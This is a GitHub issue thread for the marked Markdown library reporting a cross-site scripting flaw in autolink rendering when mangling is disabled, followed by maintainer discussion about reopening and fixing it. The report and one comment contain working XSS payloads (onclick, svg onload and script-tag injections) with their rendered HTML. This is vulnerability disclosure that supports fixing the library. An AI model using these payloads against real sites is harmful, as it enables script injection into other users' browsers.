Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Cross-site Scripting (XSS) via autolink (require disabled mangling) #926

Closed
buglloc opened this issue Aug 15, 2017 · 6 comments · Fixed by #976
Closed

Cross-site Scripting (XSS) via autolink (require disabled mangling) #926

buglloc opened this issue Aug 15, 2017 · 6 comments · Fixed by #976
Labels
L1 - broken Valid usage causes incorrect output OR a crash AND there is no known workaround for the issue

Comments

@buglloc
Copy link

buglloc commented Aug 15, 2017

When mangling is disabled via option mangle marked don't escape target href. This allow attacker to inject arbitrary html-event into resulting a tag.

For example, this JS code:

var marked = require('marked');
marked.setOptions({
  renderer: new marked.Renderer(),
  sanitize: true,
  mangle: false
});

text = `
<bar"onclick="alert('XSS')"@foo>
`;

console.log(marked(text));

Will render:

<p><a href="mailto:bar"onclick="alert('XSS')"@foo">bar"onclick="alert('XSS')"@foo</a></p>

Tested on marked v0.3.6
Online demo: http://www.buglloc.com/marked-mangle.html

Fixes #925

@matt-
Copy link
Contributor

matt- commented Aug 29, 2017

Actually you could abuse this to open new tags (and trigger without a click)

text = `
<<svg/onload="alert(1)"//@x>
`;
<p><a href="mailto:<svg/onload="alert(1)"//@x"><svg/onload="alert(1)"//@x</a></p>

or

text = `
<<script/@x>alert(1)//<</script/@x>
`;
<p><a href="mailto:<script/@x"><script/@x</a>alert(1)//<a href="mailto:</script/@x"></script/@x</a></p>

It looks like the "text" var at https://github.com/chjj/marked/blob/master/lib/marked.js#L581 should be escaped.

@joshbruce
Copy link
Member

See #937 ??

@joshbruce joshbruce mentioned this issue Dec 1, 2017
@joshbruce joshbruce added the L1 - broken Valid usage causes incorrect output OR a crash AND there is no known workaround for the issue label Dec 1, 2017
@joshbruce joshbruce mentioned this issue Dec 1, 2017
@matt-
Copy link
Contributor

matt- commented Dec 4, 2017

I was able to reproduce this on master branch. Why was this closed? What tests closed out this issue? @joshbruce

@joshbruce
Copy link
Member

joshbruce commented Dec 5, 2017

Hey @matt- Good questions.

Thought it might be solving the same XSS issue that had already been merged in (from your PR #844). I don't know enough about the library yet (and I'm not an uber-JS person); so, I'm glad you stepped in.

Therefore, while I can help increase flow to publish updates to NPM, document things and establish visions and missions, I'm gonna have to leverage the community a lot to safeguard the codebase. Of course, that's if the community wants to do that. If not, then maybe the mission should be to help folks transition to something else.

Reopening. As a collaborator (I think you're a collaborator); do you have the ability to merge?

See also #956

@matt-
Copy link
Contributor

matt- commented Dec 11, 2017

Nice. I am super excited we have the ability to push. I will look / update some of this tonight. It was hard to be motivated to fix anything knowing it was not going to eve go out.

@joshbruce
Copy link
Member

@matt- : Agreed and understandable. So far you are the only collaborator to step back in. @UziTech has also been helping out. Please, keep me posted on what y'all need from a release perspective. I've been doing what I can on the issues. Trying to close a page-worth a week...it's slow going through. Lots of issues.

@joshbruce joshbruce mentioned this issue Dec 23, 2017
zhenalexfan pushed a commit to zhenalexfan/MarkdownHan that referenced this issue Nov 8, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
L1 - broken Valid usage causes incorrect output OR a crash AND there is no known workaround for the issue
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants